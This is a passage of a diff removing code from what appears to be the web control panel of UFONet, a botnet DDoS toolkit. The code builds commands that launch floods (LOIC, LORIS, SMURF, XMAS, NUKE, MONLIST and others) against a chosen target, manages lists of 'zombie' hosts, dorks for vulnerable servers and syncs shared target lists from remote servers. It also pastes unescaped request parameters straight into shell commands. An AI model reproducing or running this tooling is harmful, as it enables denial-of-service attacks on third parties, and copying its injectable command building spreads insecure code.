<u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
- if page == "/cmd_list_zombies":
- self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
- if page == "/cmd_list_aliens":
- self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
- if page == "/cmd_list_droids":
- self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
- if page == "/cmd_list_ucavs":
- self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
- if page == "/cmd_list_rpcs":
- self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
- if page == "/cmd_view_army":
- if pGet=={}:
- self.pages["/cmd_view_army"] = self.html_army_map()
- if page == "/cmd_view_attack":
- if 'target' in list(pGet.keys()) != None:
- self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
- if page == "/cmd_test_army":
- self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
- runcmd = "(python -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
- if page == "/cmd_test_all":
- self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
- runcmd = "(python -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
- if page == "/cmd_test_offline":
- self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
- runcmd = "(python -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
- if page == "/cmd_attack_me":
- self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
- runcmd = "(python -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
- if page == "/cmd_attack_me_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_download_community":
- self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
- runcmd = "(python -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
- if page == "/cmd_download_community_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_upload_community":
- self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
- runcmd = "(python -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
- if page == "/cmd_upload_community_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_test_army_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_test_all_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_test_offline_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_test_rpcs":
- self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
- runcmd = "(python -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
- if page == "/cmd_test_rpcs_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_attack":
- self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
- cmd = ""
- flag_ufosyn = None
- flag_spray = None
- flag_smurf = None
- flag_xmas = None
- flag_nuke = None
- flag_tachyon = None
- flag_monlist = None
- nonroot_cmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
- root_cmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
- end_cmd = ""+cmd_options + "|tee /tmp/out) &"
- if pGet["dbstress"]:
- cmd += "--db '" +str(pGet["dbstress"])+ "' "
- if pGet["loic"]:
- cmd += "--loic '" +str(pGet["loic"])+ "' "
- if pGet["loris"]:
- cmd += "--loris '" +str(pGet["loris"])+ "' "
- if pGet["ufosyn"]:
- cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
- flag_ufosyn = True
- if pGet["spray"]:
- cmd += "--spray '" +str(pGet["spray"])+ "' "
- flag_spray = True
- if pGet["smurf"]:
- cmd += "--smurf '" +str(pGet["smurf"])+ "' "
- flag_smurf = True
- if pGet["xmas"]:
- cmd += "--xmas '" +str(pGet["xmas"])+ "' "
- flag_xmas = True
- if pGet["nuke"]:
- cmd += "--nuke '" +str(pGet["nuke"])+ "' "
- flag_nuke = True
- if pGet["tachyon"]:
- cmd += "--tachyon '" +str(pGet["tachyon"])+ "' "
- flag_tachyon = True
- if pGet["monlist"]:
- cmd += "--monlist '" +str(pGet["monlist"])+ "' "
- flag_monlist = True
- if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
- cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
- if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True:
- cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST)
- runcmd = cmd + end_cmd
- if page == "/cmd_attack_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_inspect":
- self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
- target = pGet["target"]
- target=urllib.parse.unquote(target)
- runcmd = "(python -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
- if page == "/cmd_inspect_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_abduction":
- self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
- target = pGet["target"]
- target=urllib.parse.unquote(target)
- runcmd = "(python -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
- if page == "/cmd_abduction_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_search":
- self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
- if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
- if pGet["all_engines"] == "on": # search using all search engines (and exclude those set by the user)
- if pGet["exclude_engines"]:
- runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
- else:
- runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
- else: # search using a search engine
- runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
- else: # search using a pattern
- if pGet["autosearch"] == "on": # search using auto-search mod
- if pGet["exclude_engines"]:
- runcmd = "(python -i ufonet --auto-search '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
- else:
- runcmd = "(python -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
- else:
- if pGet["all_engines"] == "on": # search using all search engines
- if pGet["exclude_engines"]:
- runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
- else:
- runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
- else: # search using a search engine
- runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
- if page == "/cmd_search_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_refresh_blackholes":
- self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
- blackhole_ip = pGet["blackholes_source"]
- blackhole_ip = urllib.parse.unquote(blackhole_ip)
- try:
- blackholes = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read().decode('utf-8')
- f = open(self.blackholes, "w") # write updates to nodes.dat
- f.write(blackholes)
- f.close()
- self.blackholes_text = blackholes
- except:
- blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
- end_mark = "\n[Info] [AI] End of blackholes list (nodes.dat). -> [Refreshing!]"
- f = open("/tmp/out", "w")
- f.write(str(blackholes))
- f.write(end_mark)
- f.close()
- if page == "/cmd_refresh_blackholes_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_refresh_news":
- self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
- blackhole_ip = pGet["news_source"]
- blackhole_ip = urllib.parse.unquote(blackhole_ip)
- try:
- news = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read().decode('utf-8')
- f = open(self.news, "w") # write updates to news.txt
- f.write(news)
- f.close()
- self.news_text = news
- except:
- news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
- end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
- f = open("/tmp/out", "w")
- f.write(str(news))
- f.write(end_mark)
- f.close()
- if page == "/cmd_refresh_news_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_sync_wargames":
- self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
- blackhole_ip = pGet["wargames_source"]
- blackhole_ip = urllib.parse.unquote(blackhole_ip)
- try:
- wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
- f = open(self.wargames_file, "w") # write updates to wargames.txt
- f.write(wargames)
- f.close()
- self.wargames_text = wargames
- except:
- wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
- end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
- f = open("/tmp/out", "w")
- f.write(str(wargames))
- f.write(end_mark)
- f.close()
- if page == "/cmd_sync_wargames_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- stream = f.read()
- stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
- self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
- if page == "/cmd_refresh_missions":
- self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
- blackhole_ip = pGet["missions_source"]
- blackhole_ip = urllib.parse.unquote(blackhole_ip)
- try:
- missions = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read().decode('utf-8')
- f = open(self.missions, "w") # write updates to missions.txt
- f.write(missions)
- f.close()
- self.missions_text = missions
- except:
- missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
- end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
- f = open("/tmp/out", "w")
- f.write(str(missions))
- f.write(end_mark)
- f.close()
- if page == "/cmd_refresh_missions_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_refresh_ranking":
- self.pages["/cmd_refresh_ranking"] = "<pre>Waiting for 'blackhole' reply...</pre>"
- ranking_ip = pGet["ranking_source"]
- ranking_ip = urllib.parse.unquote(ranking_ip)
- try:
- ranking = urllib.request.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read().decode('utf-8')
- f = open(self.grid_file, "w") # write updates to grid.txt
- f.write(ranking)
- f.close()
- self.ranking_text = ranking
- except:
- ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
- end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]"
- f = open("/tmp/out", "w")
- f.write(str(ranking))
- f.write(end_mark)
- f.close()
- if page == "/cmd_refresh_ranking_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_refresh_ranking_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_sync_grid":
- self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
- blackhole_ip = pGet["grid_source"]
- blackhole_ip = urllib.parse.unquote(blackhole_ip)
- try:
- grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
- f = open(self.grid_file, "w") # write updates to grid.txt
- f.write(grid)
- f.close()
- self.grid_text = grid
- except:
- grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
- end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
- f = open("/tmp/out", "w")
- f.write(str(grid))
- f.write(end_mark)
- f.close()
- if page == "/cmd_sync_grid_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- stream = f.read()
- stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
- self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
- if page == "/cmd_job_remove":
- self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
- try:
- job_id = pGet["id"]
- except:
- job_id = ""
- if job_id is not "":
- self.list_wargames.reverse()
- try:
- job_task = self.list_wargames[(int(job_id)-1)]
- f = open(self.wargames_file,"r")
- ls = f.readlines()
- f.close()
- f = open(self.wargames_file,"w")
- for l in ls:
- if str(l) != str(job_task):
- f.write(l)
- f.close()
- except:
- pass
- if page == "/cmd_job_remove_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_job_remove_all":
- self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
- try:
- key_params = pGet["key"]
- sep = ","
- key = key_params.rsplit(sep, 1)[0]
- except:
- key = ""
- if key is not "":
- try:
- self.list_wargames.reverse()
- now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
- now = strptime(now, "%d-%m-%Y %H:%M:%S")
- f = open(self.wargames_file,"r")
- ls = f.readlines()
- f.close()
- f = open(self.wargames_file,"w")
- sep = "#-#"
- for l in ls:
- job_estimated = l.rsplit(sep, 1)[1]
- self.decrypt(key, job_estimated)
- if self.decryptedtext:
- job_estimated = self.decryptedtext
- else:
- job_estimated = now
- self.decryptedtext = ""
- job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
- if (now >= job_estimated) == False: # -ONGOING-
- f.write(l)
- f.close()
- except:
- pass
- if page == "/cmd_job_remove_all_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_edit_supply":
- self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
- try:
- supply_botnet = pGet["botnet"]
- supply_loic = pGet["loic"]
- supply_loris = pGet["loris"]
- supply_ufosyn = pGet["ufosyn"]
- supply_spray = pGet["spray"]
- supply_smurf = pGet["smurf"]
- supply_xmas = pGet["xmas"]
- supply_nuke = pGet["nuke"]
- supply_tachyon = pGet["tachyon"]
- supply_monlist = pGet["monlist"]
- except: # default global supply army
- supply_botnet = 1
- supply_loic = 0
- supply_loris = 0
- supply_ufosyn = 0
- supply_spray = 0
- supply_smurf = 0
- supply_xmas = 0
- supply_nuke = 0
- supply_tachyon = 0
- supply_monlist = 0
- with open(self.mothership_supplycfg_file, "w") as f:
- json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist}, f, indent=4)
- if page == "/cmd_job_add":
- self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
- try:
- job_params = pGet["id"]
- sep = ","
- job_id = job_params.rsplit(sep, 1)[0]
- except:
- job_id = ""
- if job_id is not "":
- self.list_wargames.reverse()
- try:
- job_task = self.list_wargames[(int(job_id)-1)]
- f = open(self.wargames_file,"r")
- ls = f.readlines()
- f.close()
- f = open(self.wargames_file,"w")
- sep = "#-#"
- for l in ls:
- if str(l) != str(job_task):
- f.write(l)
- else:
- job_t2 = job_task.rsplit(sep, 1)[0]
- job_creation = job_t2.rsplit(sep, 1)[0]
- job_target = job_t2.rsplit(sep, 1)[1]
- job_estimated = job_task.rsplit(sep, 1)[1]
- l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
- f.write(l)
- f.close()
- except:
- pass
- if page == "/cmd_job_add_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_job_add_all":
- self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
- try:
- self.list_wargames.reverse()
- f = open(self.wargames_file,"r")
- ls = f.readlines()
- f.close()
- f = open(self.wargames_file,"w")
- sep = "#-#"
- for l in ls:
- job_t2 = l.rsplit(sep, 1)[0]
- job_creation = job_t2.rsplit(sep, 1)[0]
- job_target = job_t2.rsplit(sep, 1)[1]
- job_estimated = l.rsplit(sep, 1)[1]
- if not "!!!" in job_target:
- l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated)
- else:
- l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
- f.write(l)
- f.close()
- except:
- pass
- if page == "/cmd_job_add_all_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_job_cancel":
- self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
- try:
- job_params = pGet["id"]
- sep = ","
- job_id = job_params.rsplit(sep, 1)[0]
- except:
- job_id = ""
- if job_id is not "":
- self.list_wargames.reverse()
- try:
- job_task = self.list_wargames[(int(job_id)-1)]
- f = open(self.wargames_file,"r")
- ls = f.readlines()
- f.close()
- f = open(self.wargames_file,"w")
- for l in ls:
- if str(l) != str(job_task):
- f.write(l)
- else:
- sep = "#-#"
- job_t2 = job_task.rsplit(sep, 1)[0]
- job_creation = job_t2.rsplit(sep, 1)[0]
- job_target = job_t2.rsplit(sep, 1)[1]
- job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
- job_estimated = job_task.rsplit(sep, 1)[1]
- l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
- f.write(l)
- f.close()
- except:
- pass
- if page == "/cmd_job_cancel_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_job_cancel_all":
- self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
- try:
- self.list_wargames.reverse()
- f = open(self.wargames_file,"r")
- ls = f.readlines()
- f.close()
- f = open(self.wargames_file,"w")
- sep = "#-#"
- for l in ls:
- job_t2 = l.rsplit(sep, 1)[0]
- job_creation = job_t2.rsplit(sep, 1)[0]
- job_target = job_t2.rsplit(sep, 1)[1]
- job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
- job_estimated = l.rsplit(sep, 1)[1]
- l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
- f.write(l)
- f.close()
- except:
- pass
- if page == "/cmd_job_cancel_all_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_job_filter":
- try:
- job_filter = pGet["filter"]
- job_key = pGet["key"]
- except:
- job_filter = "creation"
- job_key = str(self.crypto_key)
- self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
- nodec_text = "KEY?"
- try:
- wargames_items=[]
- with open(self.wargames_file) as f:
- ls = f.read().splitlines()
- f.close()
- f = open(self.wargames_file,"w")
- for j in ls:
- if wargames_msg_sep in j:
- m = j.split(wargames_msg_sep)
- wargames_creation = m[0] # creation date
- self.decrypt(job_key, wargames_creation)
- if self.decryptedtext:
- wargames_creation = self.decryptedtext
- else:
- wargames_creation = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- wargames_target = m[1] # target
- self.decrypt(job_key, wargames_target)
- if self.decryptedtext:
- wargames_target = self.decryptedtext
- if wargames_target.startswith("www."):
- wargames_target = wargames_target.replace("www.","")
- else:
- wargames_target = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- wargames_estimated = m[2] # estimated date
- self.decrypt(job_key, wargames_estimated)
- if self.decryptedtext:
- wargames_estimated = self.decryptedtext
- else:
- wargames_estimated = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
- wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
- wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
- if job_filter == "creation":
- wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
- elif job_filter == "target":
- wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
- elif job_filter == "estimated":
- wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
- else:
- wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
- for i in wargames_items:
- wargames_creation = i[0]
- wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
- self.encrypt(job_key, wargames_creation)
- if self.encryptedtext:
- wargames_creation = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- wargames_target = str(i[1])
- self.encrypt(job_key, wargames_target)
- if self.encryptedtext:
- wargames_target = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- wargames_estimated = i[2]
- wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
- self.encrypt(job_key, wargames_estimated)
- if self.encryptedtext:
- wargames_estimated = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- l = str(wargames_creation) + "#-#" + str(wargames_target) + "#-#" + str(wargames_estimated)
- f.write(l + os.linesep)
- f.close()
- except:
- pass
- if page == "/cmd_job_filter_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_grid_filter":
- try:
- grid_filter = pGet["filter"]
- grid_key = pGet["key"]
- except:
- grid_filter = "missions" # default grid order by
- grid_key = str(self.crypto_key)
- self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
- nodec_text = "KEY?"
- nodec_num = 0
- try:
- grid_items=[]
- with open(self.grid_file) as f:
- ls = f.read().splitlines()
- f.close()
- f = open(self.grid_file,"w")
- for j in ls:
- if grid_msg_sep in j:
- version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
- m = j.split(grid_msg_sep)
- grid_nickname = m[0] # nickname
- self.decrypt(grid_key, grid_nickname)
- if self.decryptedtext:
- grid_nickname = str(self.decryptedtext)
- else:
- grid_nickname = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_ranking = m[1] # ranking
- self.decrypt(grid_key, grid_ranking)
- if self.decryptedtext:
- try:
- grid_ranking = int(self.decryptedtext)
- except:
- grid_ranking = nodec_num
- else:
- grid_ranking = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_totalchargo = m[2] # total chargo
- self.decrypt(grid_key, grid_totalchargo)
- if self.decryptedtext:
- try:
- grid_totalchargo = int(self.decryptedtext)
- except:
- grid_totalchargo = nodec_num
- else:
- grid_totalchargo = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_dorking = m[3] # dorking
- self.decrypt(grid_key, grid_dorking)
- if self.decryptedtext:
- try:
- grid_dorking = int(self.decryptedtext)
- except:
- grid_dorking = nodec_num
- else:
- grid_dorking = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_transferred = m[4] # transferred
- self.decrypt(grid_key, grid_transferred)
- if self.decryptedtext:
- try:
- grid_transferred = int(self.decryptedtext)
- except:
- grid_transferred = nodec_num
- else:
- grid_transferred = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_maxchargo = m[5] # maxchargo
- self.decrypt(grid_key, grid_maxchargo)
- if self.decryptedtext:
- try:
- grid_maxchargo = int(self.decryptedtext)
- except:
- grid_maxchargo = nodec_num
- else:
- grid_maxchargo = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_missions = m[6] # missions
- self.decrypt(grid_key, grid_missions)
- if self.decryptedtext:
- try:
- grid_missions = int(self.decryptedtext)
- except:
- grid_missions = nodec_num
- else:
- grid_missions = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_attacks = m[7] # attacks
- self.decrypt(grid_key, grid_attacks)
- if self.decryptedtext:
- try:
- grid_attacks = int(self.decryptedtext)
- except:
- grid_attacks = nodec_num
- else:
- grid_attacks = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_loic = m[8] # loic
